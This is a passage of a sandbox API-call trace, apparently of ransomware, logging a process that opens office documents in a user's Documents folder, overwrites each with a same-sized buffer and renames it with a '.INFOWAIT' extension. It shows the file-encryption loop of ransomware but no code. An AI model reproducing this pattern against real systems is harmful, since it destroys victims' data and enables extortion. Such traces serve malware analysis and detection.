wRemoveMsg=0x1 | out: lpMsg=0x26eff3c) returned 0 [0119.227] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\c30-G7I4Ib7Y-VxrTcg6\\yqgAGD0mq69zIZ\\hT-SqtZX\\wLIFp9Xlr__Upjp5BWpB.xls" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\c30-g7i4ib7y-vxrtcg6\\yqgagd0mq69ziz\\ht-sqtzx\\wlifp9xlr__upjp5bwpb.xls"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xad4 [0119.228] GetFileSize (in: hFile=0xad4, lpFileSizeHigh=0x0 | out: lpFileSizeHigh=0x0) returned 0x12998 [0119.228] VirtualAlloc (lpAddress=0x0, dwSize=0x25810, flAllocationType=0x1000, flProtect=0x4) returned 0x1f50000 [0119.229] SetFilePointer (in: hFile=0xad4, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0119.229] ReadFile (in: hFile=0xad4, lpBuffer=0x1f50000, nNumberOfBytesToRead=0x25800, lpNumberOfBytesRead=0x26eff14, lpOverlapped=0x0 | out: lpBuffer=0x1f50000*, lpNumberOfBytesRead=0x26eff14*=0x12998, lpOverlapped=0x0) returned 1 [0119.232] VirtualAlloc (lpAddress=0x0, dwSize=0x12998, flAllocationType=0x1000, flProtect=0x4) returned 0x29b0000 [0119.239] SetFilePointer (in: hFile=0xad4, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0119.239] WriteFile (in: hFile=0xad4, lpBuffer=0x29b0000*, nNumberOfBytesToWrite=0x12998, lpNumberOfBytesWritten=0x26efef0, lpOverlapped=0x0 | out: lpBuffer=0x29b0000*, lpNumberOfBytesWritten=0x26efef0*=0x12998, lpOverlapped=0x0) returned 1 [0119.239] CloseHandle (hObject=0xad4) returned 1 [0119.241] lstrcpyW (in: lpString1=0x26eedc4, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\c30-G7I4Ib7Y-VxrTcg6\\yqgAGD0mq69zIZ\\hT-SqtZX\\wLIFp9Xlr__Upjp5BWpB.xls" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\c30-G7I4Ib7Y-VxrTcg6\\yqgAGD0mq69zIZ\\hT-SqtZX\\wLIFp9Xlr__Upjp5BWpB.xls") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\c30-G7I4Ib7Y-VxrTcg6\\yqgAGD0mq69zIZ\\hT-SqtZX\\wLIFp9Xlr__Upjp5BWpB.xls" [0119.241] lstrcatW (in: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\c30-G7I4Ib7Y-VxrTcg6\\yqgAGD0mq69zIZ\\hT-SqtZX\\wLIFp9Xlr__Upjp5BWpB.xls", lpString2=".INFOWAIT" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\c30-G7I4Ib7Y-VxrTcg6\\yqgAGD0mq69zIZ\\hT-SqtZX\\wLIFp9Xlr__Upjp5BWpB.xls.INFOWAIT") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\c30-G7I4Ib7Y-VxrTcg6\\yqgAGD0mq69zIZ\\hT-SqtZX\\wLIFp9Xlr__Upjp5BWpB.xls.INFOWAIT" [0119.241] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\c30-G7I4Ib7Y-VxrTcg6\\yqgAGD0mq69zIZ\\hT-SqtZX\\wLIFp9Xlr__Upjp5BWpB.xls" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\c30-g7i4ib7y-vxrtcg6\\yqgagd0mq69ziz\\ht-sqtzx\\wlifp9xlr__upjp5bwpb.xls"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\c30-G7I4Ib7Y-VxrTcg6\\yqgAGD0mq69zIZ\\hT-SqtZX\\wLIFp9Xlr__Upjp5BWpB.xls.INFOWAIT" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\c30-g7i4ib7y-vxrtcg6\\yqgagd0mq69ziz\\ht-sqtzx\\wlifp9xlr__upjp5bwpb.xls.infowait")) returned 1 [0119.241] VirtualFree (lpAddress=0x1f50000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0119.242] VirtualFree (lpAddress=0x29b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0119.243] PeekMessageW (in: lpMsg=0x26eff3c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x26eff3c) returned 0 [0119.243] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\c30-G7I4Ib7Y-VxrTcg6\\yqgAGD0mq69zIZ\\l8fJ\\p2jEbzbiEY.odp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\c30-g7i4ib7y-vxrtcg6\\yqgagd0mq69ziz\\l8fj\\p2jebzbiey.odp"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xad4 [0119.246] GetFileSize (in: hFile=0xad4, lpFileSizeHigh=0x0 | out: lpFileSizeHigh=0x0) returned 0x7da6 [0119.246] VirtualAlloc (lpAddress=0x0, dwSize=0x25810, flAllocationType=0x1000, flProtect=0x4) returned 0x1f50000 [0119.247] SetFilePointer (in: hFile=0xad4, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0119.247] ReadFile (in: hFile=0xad4, lpBuffer=0x1f50000, nNumberOfBytesToRead=0x25800, lpNumberOfBytesRead=0x26eff14, lpOverlapped=0x0 | out: lpBuffer=0x1f50000*, lpNumberOfBytesRead=0x26eff14*=0x7da6, lpOverlapped=0x0) returned 1 [0119.251] VirtualAlloc (lpAddress=0x0, dwSize=0x7da6, flAllocationType=0x1000, flProtect=0x4) returned 0x5e0000 [0119.254] SetFilePointer (in: hFile=0xad4, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0119.254] WriteFile (in: hFile=0xad4, lpBuffer=0x5e0000*, nNumberOfBytesToWrite=0x7da6, lpNumberOfBytesWritten=0x26efef0, lpOverlapped=0x0 | out: lpBuffer=0x5e0000*, lpNumberOfBytesWritten=0x26efef0*=0x7da6, lpOverlapped=0x0) returned 1 [0119.255] CloseHandle (hObject=0xad4) returned 1 [0119.259] lstrcpyW (in: lpString1=0x26eedc4, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\c30-G7I4Ib7Y-VxrTcg6\\yqgAGD0mq69zIZ\\l8fJ\\p2jEbzbiEY.odp" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\c30-G7I4Ib7Y-VxrTcg6\\yqgAGD0mq69zIZ\\l8fJ\\p2jEbzbiEY.odp") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\c30-G7I4Ib7Y-VxrTcg6\\yqgAGD0mq69zIZ\\l8fJ\\p2jEbzbiEY.odp" [0119.259] lstrcatW (in: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\c30-G7I4Ib7Y-VxrTcg6\\yqgAGD0mq69zIZ\\l8fJ\\p2jEbzbiEY.odp", lpString2=".INFOWAIT" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\c30-G7I4Ib7Y-VxrTcg6\\yqgAGD0mq69zIZ\\l8fJ\\p2jEbzbiEY.odp.INFOWAIT") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\c30-G7I4Ib7Y-VxrTcg6\\yqgAGD0mq69zIZ\\l8fJ\\p2jEbzbiEY.odp.INFOWAIT" [0119.259] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\c30-G7I4Ib7Y-VxrTcg6\\yqgAGD0mq69zIZ\\l8fJ\\p2jEbzbiEY.odp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\c30-g7i4ib7y-vxrtcg6\\yqgagd0mq69ziz\\l8fj\\p2jebzbiey.odp"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\c30-G7I4Ib7Y-VxrTcg6\\yqgAGD0mq69zIZ\\l8fJ\\p2jEbzbiEY.odp.INFOWAIT" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\c30-g7i4ib7y-vxrtcg6\\yqgagd0mq69ziz\\l8fj\\p2jebzbiey.odp.infowait")) returned 1 [0119.259] VirtualFree (lpAddress=0x1f50000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0119.260] VirtualFree (lpAddress=0x5e0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0119.261] PeekMessageW (in: lpMsg=0x26eff3c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x26eff3c) returned 0 [0119.261] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\c30-G7I4Ib7Y-VxrTcg6\\yqgAGD0mq69zIZ\\l8fJ\\YeV-uPfMbHLLcGMe_f.odt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\c30-g7i4ib7y-vxrtcg6\\yqgagd0mq69ziz\\l8fj\\yev-upfmbhllcgme_f.odt"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xad4 [0119.261] GetFileSize (in: hFile=0xad4, lpFileSizeHigh=0x0 | out: lpFileSizeHigh=0x0) returned 0x12e0a [0119.261] VirtualAlloc (lpAddress=0x0, dwSize=0x25810, flAllocationType=0x1000, flProtect=0x4) returned 0x1f50000 [0119.261] SetFilePointer (in: hFile=0xad4, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0119.261] ReadFile (in: hFile=0xad4, lpBuffer=0x1f50000, nNumberOfBytesToRead=0x25800, lpNumberOfBytesRead=0x26eff14, lpOverlapped=0x0 | out: lpBuffer=0x1f50000*, lpNumberOfBytesRead=0x26eff14*=0x12e0a, lpOverlapped=0x0) returned 1 [0119.268] VirtualAlloc (lpAddress=0x0, dwSize=0x12e0a, flAllocationType=0x1000, flProtect=0x4) returned 0x29b0000 [0119.275] SetFilePointer (in: hFile=0xad4, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0119.276] WriteFile (in: hFile=0xad4, lpBuffer=0x29b0000*, nNumberOfBytesToWrite=0x12e0a, lpNumberOfBytesWritten=0x26efef0, lpOverlapped=0x0 | out: lpBuffer=0x29b0000*, lpNumberOfBytesWritten=0x26efef0*=0x12e0a, lpOverlapped=0x0) returned 1 [0119.276] CloseHandle (hObject=0xad4) returned 1 [0119.277] lstrcpyW (in: lpString1=0x26eedc4, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\c30-G7I4Ib7Y-VxrTcg6\\yqgAGD0mq69zIZ\\l8fJ\\YeV-uPfMbHLLcGMe_f.odt" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\c30-G7I4Ib7Y-VxrTcg6\\yqgAGD0mq69zIZ\\l8fJ\\YeV-uPfMbHLLcGMe_f.odt") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\c30-G7I4Ib7Y-VxrTcg6\\yqgAGD0mq69zIZ\\l8fJ\\YeV-uPfMbHLLcGMe_f.odt" [0119.277] lstrcatW (in: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\c30-G7I4Ib7Y-VxrTcg6\\yqgAGD0mq69zIZ\\l8fJ\\YeV-uPfMbHLLcGMe_f.odt", lpString2=".INFOWAIT" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\c30-G7I4Ib7Y-VxrTcg6\\yqgAGD0mq69zIZ\\l8fJ\\YeV-uPfMbHLLcGMe_f.odt.INFOWAIT") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\c30-G7I4Ib7Y-VxrTcg6\\yqgAGD0mq69zIZ\\l8fJ\\YeV-uPfMbHLLcGMe_f.odt.INFOWAIT" [0119.277] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\c30-G7I4Ib7Y-VxrTcg6\\yqgAGD0mq69zIZ\\l8fJ\\YeV-uPfMbHLLcGMe_f.odt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\c30-g7i4ib7y-vxrtcg6\\yqgagd0mq69ziz\\l8fj\\yev-upfmbhllcgme_f.odt"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\c30-G7I4Ib7Y-VxrTcg6\\yqgAGD0mq69zIZ\\l8fJ\\YeV-uPfMbHLLcGMe_f.odt.INFOWAIT" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\c30-g7i4ib7y-vxrtcg6\\yqgagd0mq69ziz\\l8fj\\yev-upfmbhllcgme_f.odt.infowait")) returned 1 [0119.278] VirtualFree (lpAddress=0x1f50000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0119.279] VirtualFree (lpAddress=0x29b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0119.279] PeekMessageW (in: lpMsg=0x26eff3c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x26eff3c) returned 0 [0119.279] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\c30-G7I4Ib7Y-VxrTcg6\\yqgAGD0mq69zIZ\\POzUPkpR60DTM.xlsx" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\c30-g7i4ib7y-vxrtcg6\\yqgagd0mq69ziz\\pozupkpr60dtm.xlsx"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xad0 [0119.281] GetFileSize (in: hFile=0xad0, lpFileSizeHigh=0x0 | out: lpFileSizeHigh=0x0) returned 0xbaf1 [0119.281] VirtualAlloc (lpAddress=0x0, dwSize=0x25810, flAllocationType=0x1000, flProtect=0x4) returned 0x1f50000 [0119.281] SetFilePointer (in: hFile=0xad0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0119.281] ReadFile (in: hFile=0xad0, lpBuffer=0x1f50000, nNumberOfBytesToRead=0x25800, lpNumberOfBytesRead=0x26eff14, lpOverlapped=0x0 | out: lpBuffer=0x1f50000*, lpNumberOfBytesRead=0x26eff14*=0xbaf1, lpOverlapped=0x0) returned 1 [0119.285] VirtualAlloc (lpAddress=0x0, dwSize=0xbaf1, flAllocationType=0x1000, flProtect=0x4) returned 0x5e0000 [0119.289] SetFilePointer (in: hFile=0xad0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0119.290] WriteFile (in: hFile=0xad0, lpBuffer=0x5e0000*, nNumberOfBytesToWrite=0xbaf1, lpNumberOfBytesWritten=0x26efef0, lpOverlapped=0x0 | out: lpBuffer=0x5e0000*, lpNumberOfBytesWritten=0x26efef0*=0xbaf1, lpOverlapped=0x0) returned 1 [0119.290] CloseHandle (hObject=0xad0) returned 1 [0119.294] lstrcpyW (in: lpString1=0x26eedc4, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\c30-G7I4Ib7Y-VxrTcg6\\yqgAGD0mq69zIZ\\POzUPkpR60DTM.xlsx" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\c30-G7I4Ib7Y-VxrTcg6\\yqgAGD0mq69zIZ\\POzUPkpR60DTM.xlsx") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\c30-G7I4Ib7Y-VxrTcg6\\yqgAGD0mq69zIZ\\POzUPkpR60DTM.xlsx" [0119.294] lstrcatW (in: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\c30-G7I4Ib7Y-VxrTcg6\\yqgAGD0mq69zIZ\\POzUPkpR60DTM.xlsx", lpString2=".INFOWAIT" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\c30-G7I4Ib7Y-VxrTcg6\\yqgAGD0mq69zIZ\\POzUPkpR60DTM.xlsx.INFOWAIT") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\c30-G7I4Ib7Y-VxrTcg6\\yqgAGD0mq69zIZ\\POzUPkpR60DTM.xlsx.INFOWAIT" [0119.294] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\c30-G7I4Ib7Y-VxrTcg6\\yqgAGD0mq69zIZ\\POzUPkpR60DTM.xlsx" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\c30-g7i4ib7y-vxrtcg6\\yqgagd0mq69ziz\\pozupkpr60dtm.xlsx"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\c30-G7I4Ib7Y-VxrTcg6\\yqgAGD0mq69zIZ\\POzUPkpR60DTM.xlsx.INFOWAIT" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\c30-g7i4ib7y-vxrtcg6\\yqgagd0mq69ziz\\pozupkpr60dtm.xlsx.infowait")) returned 1 [0119.295] VirtualFree (lpAddress=0x1f50000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0119.296] VirtualFree (lpAddress=0x5e0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0119.297] PeekMessageW (in: lpMsg=0x26eff3c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x26eff3c) returned 0 [0119.297] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\c30-G7I4Ib7Y-VxrTcg6\\yqgAGD0mq69zIZ\\skaVx\\4xdI4OMOFBx3cqRfxwA0.xlsx" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\c30-g7i4ib7y-vxrtcg6\\yqgagd0mq69ziz\\skavx\\4xdi4omofbx3cqrfxwa0.xlsx"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xad0 [0119.298] GetFileSize (in: hFile=0xad0, lpFileSizeHigh=0x0 | out: lpFileSizeHigh=0x0) returned 0xacdb [0119.298] VirtualAlloc (lpAddress=0x0, dwSize=0x25810, flAllocationType=0x1000, flProtect=0x4) returned 0x1f50000 [0119.298] SetFilePointer (in: hFile=0xad0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0119.298] ReadFile (in: hFile=0xad0, lpBuffer=0x1f50000, nNumberOfBytesToRead=0x25800, lpNumberOfBytesRead=0x26eff14, lpOverlapped=0x0 | out: lpBuffer=0x1f50000*, lpNumberOfBytesRead=0x26eff14*=0xacdb, lpOverlapped=0x0) returned 1 [0119.302] VirtualAlloc (lpAddress=0x0, dwSize=0xacdb, flAllocationType=0x1000, flProtect=0x4) returned 0x5e0000 [0119.306] SetFilePointer (in: hFile=0xad0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0119.306] WriteFile (in: hFile=0xad0, lpBuffer=0x5e0000*, nNumberOfBytesToWrite=0xacdb, lpNumberOfBytesWritten=0x26efef0, lpOverlapped=0x0 | out: lpBuffer=0x5e0000*, lpNumberOfBytesWritten=0x26efef0*=0xacdb, lpOverlapped=0x0) returned 1 [0119.307] CloseHandle (hObject=0xad0) returned 1 [0119.308] lstrcpyW (in: lpString1=0x26eedc4, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\c30-G7I4Ib7Y-VxrTcg6\\yqgAGD0mq69zIZ\\skaVx\\4xdI4OMOFBx3cqRfxwA0.xlsx" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\c30-G7I4Ib7Y-VxrTcg6\\yqgAGD0mq69zIZ\\skaVx\\4xdI4OMOFBx3cqRfxwA0.xlsx") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\c30-G7I4Ib7Y-VxrTcg6\\yqgAGD0mq69zIZ\\skaVx\\4xdI4OMOFBx3cqRfxwA0.xlsx" [0119.308] lstrcatW (in: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\c30-G7I4Ib7Y-VxrTcg6\\yqgAGD0mq69zIZ\\skaVx\\4xdI4OMOFBx3cqRfxwA0.xlsx", lpString2=".INFOWAIT" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\c30-G7I4Ib7Y-VxrTcg6\\yqgAGD0mq69zIZ\\skaVx\\4xdI4OMOFBx3cqRfxwA0.xlsx.INFOWAIT") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\c30-G7I4Ib7Y-VxrTcg6\\yqgAGD0mq69zIZ\\skaVx\\4xdI4OMOFBx3cqRfxwA0.xlsx.INFOWAIT" [0119.308] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\c30-G7I4Ib7Y-VxrTcg6\\yqgAGD0mq69zIZ\\skaVx\\4xdI4OMOFBx3cqRfxwA0.xlsx" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\c30-g7i4ib7y-vxrtcg6\\yqgagd0mq69ziz\\skavx\\4xdi4omofbx3cqrfxwa0.xlsx"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\c30-G7I4Ib7Y-VxrTcg6\\yqgAGD0mq69zIZ\\skaVx\\4xdI4OMOFBx3cqRfxwA0.xlsx.INFOWAIT" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\c30-g7i4ib7y-vxrtcg6\\yqgagd0mq69ziz\\skavx\\4xdi4omofbx3cqrfxwa0.xlsx.infowait")) returned 1 [0119.309] VirtualFree (lpAddress=0x1f50000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0119.310] VirtualFree (lpAddress=0x5e0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0119.310] PeekMessageW (in: lpMsg=0x26eff3c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x26eff3c) returned 0 [0119.310] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\c30-G7I4Ib7Y-VxrTcg6\\yqgAGD0mq69zIZ\\skaVx\\aI-hq-hLGIh9RDS.xls" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\c30-g7i4ib7y-vxrtcg6\\yqgagd0mq69ziz\\skavx\\ai-hq-hlgih9rds.xls"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xad4 [0119.312] GetFileSize (in: hFile=0xad4, lpFileSizeHigh=0x0 | out: lpFileSizeHigh=0x0) returned 0x16f4e [0119.312] VirtualAlloc (lpAddress=0x0, dwSize=0x25810, flAllocationType=0x1000, flProtect=0x4) returned 0x1f50000 [0119.312] SetFilePointer (in: hFile=0xad4, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0119.312] ReadFile (in: hFile=0xad4, lpBuffer=0x1f50000, nNumberOfBytesToRead=0x25800, lpNumberOfBytesRead=0x26eff14, lpOverlapped=0x0 | out: lpBuffer=0x1f50000*, lpNumberOfBytesRead=0x26eff14*=0x16f4e, lpOverlapped=0x0) returned 1 [0119.316] VirtualAlloc (lpAddress=0x0, dwSize=0x16f4e, flAllocationType=0x1000, flProtect=0x4) returned 0x29b0000 [0119.323] SetFilePointer (in: hFile=0xad4, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0119.323] WriteFile (in: hFile=0xad4, lpBuffer=0x29b0000*, nNumberOfBytesToWrite=0x16f4e, lpNumberOfBytesWritten=0x26efef0, lpOverlapped=0x0 | out: lpBuffer=0x29b0000*, lpNumberOfBytesWritten=0x26efef0*=0x16f4e, lpOverlapped=0x0) returned 1 [0119.324] CloseHandle (hObject=0xad4) returned 1 [0119.325] lstrcpyW (in: lpString1=0x26eedc4, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\c30-G7I4Ib7Y-VxrTcg6\\yqgAGD0mq69zIZ\\skaVx\\aI-hq-hLGIh9RDS.xls" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\c30-G7I4Ib7Y-VxrTcg6\\yqgAGD0mq69zIZ\\skaVx\\aI-hq-hLGIh9RDS.xls") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\c30-G7I4Ib7Y-VxrTcg6\\yqgAGD0mq69zIZ\\skaVx\\aI-hq-hLGIh9RDS.xls" [0119.325] lstrcatW (in: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\c30-G7I4Ib7Y-VxrTcg6\\yqgAGD0mq69zIZ\\skaVx\\aI-hq-hLGIh9RDS.xls", lpString2=".INFOWAIT" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\c30-G7I4Ib7Y-VxrTcg6\\yqgAGD0mq69zIZ\\skaVx\\aI-hq-hLGIh9RDS.xls.INFOWAIT") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\c30-G7I4Ib7Y-VxrTcg6\\yqgAGD0mq69zIZ\\skaVx\\aI-hq-hLGIh9RDS.xls.INFOWAIT" [0119.325] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\c30-G7I4Ib7Y-VxrTcg6\\yqgAGD0mq69zIZ\\skaVx\\aI-hq-hLGIh9RDS.xls" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\c30-g7i4ib7y-vxrtcg6\\yqgagd0mq69ziz\\skavx\\ai-hq-hlgih9rds.xls"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\c30-G7I4Ib7Y-VxrTcg6\\yqgAGD0mq69zIZ\\skaVx\\aI-hq-hLGIh9RDS.xls.INFOWAIT" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\c30-g7i4ib7y-vxrtcg6\\yqgagd0mq69ziz\\skavx\\ai-hq-hlgih9rds.xls.infowait")) returned 1 [0119.326] VirtualFree (lpAddress=0x1f50000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0119.327] VirtualFree (lpAddress=0x29b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0119.327] PeekMessageW (in: lpMsg=0x26eff3c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x26eff3c) returned 0 [0119.327] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\c30-G7I4Ib7Y-VxrTcg6\\yqgAGD0mq69zIZ\\skaVx\\EoZDJddZ6evy.pptx" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\c30-g7i4ib7y-vxrtcg6\\yqgagd0mq69ziz\\skavx\\eozdjddz6evy.pptx"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xad4 [0119.328] GetFileSize (in: hFile=0xad4, lpFileSizeHigh=0x0 | out: lpFileSizeHigh=0x0) returned 0xedfe [0119.328] VirtualAlloc (lpAddress=0x0, dwSize=0x25810, flAllocationType=0x1000, flProtect=0x4) returned 0x1f50000 [0119.329] SetFilePointer (in: hFile=0xad4, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0119.329] ReadFile (in: hFile=0xad4, lpBuffer=0x1f50000, nNumberOfBytesToRead=0x25800, lpNumberOfBytesRead=0x26eff14, lpOverlapped=0x0 | out: lpBuffer=0x1f50000*, lpNumberOfBytesRead=0x26eff14*=0xedfe, lpOverlapped=0x0) returned 1 [0119.332] VirtualAlloc (lpAddress=0x0, dwSize=0xedfe, flAllocationType=0x1000, flProtect=0x4) returned 0x5e0000 [0119.337] SetFilePointer (in: hFile=0xad4, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, 